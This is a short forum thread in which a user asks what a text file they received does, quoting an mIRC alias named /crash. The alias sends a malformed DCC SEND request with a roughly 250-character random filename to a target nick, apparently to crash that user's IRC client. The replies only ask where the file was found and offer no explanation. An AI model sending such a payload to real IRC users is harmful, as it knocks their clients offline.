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need to get explained some sequences of command starting /alias /crash


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luna5a

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recenlty i was looking some recieved files i got this one in text format :


/alias /crash { .raw PRIVMSG $1 $+(:,$chr(1),DCC) send " $+ $str($rand(a,z)
$+ $chr(32),250) $+ " 0 2130706433 $+(8192,$chr(1)) }

Could someone please explain what it does and if it effects my pc?
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where are you seeing this exactly? a little better description of what you're talking about would be nice
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I found it just in recieved files>I suppose that someone send it to me to show me something.It's just this one in text format.Sorry this is all I can say about.Could it be some ip cracker or something like that?
maybe some irc commands,I really cannot understand
thanksss :whistling:
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I found it just in recieved files

...so this is a .txt file in a recieved files folder?
where is that recieved files folder? is it with your irc program? where is it exactly
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it was in the my document/recieved files foldre.Don't think that it could be something suspisious.There are no irc folders too.i was thinking that the irc-commands are very similar with this one.Do you have any idea?
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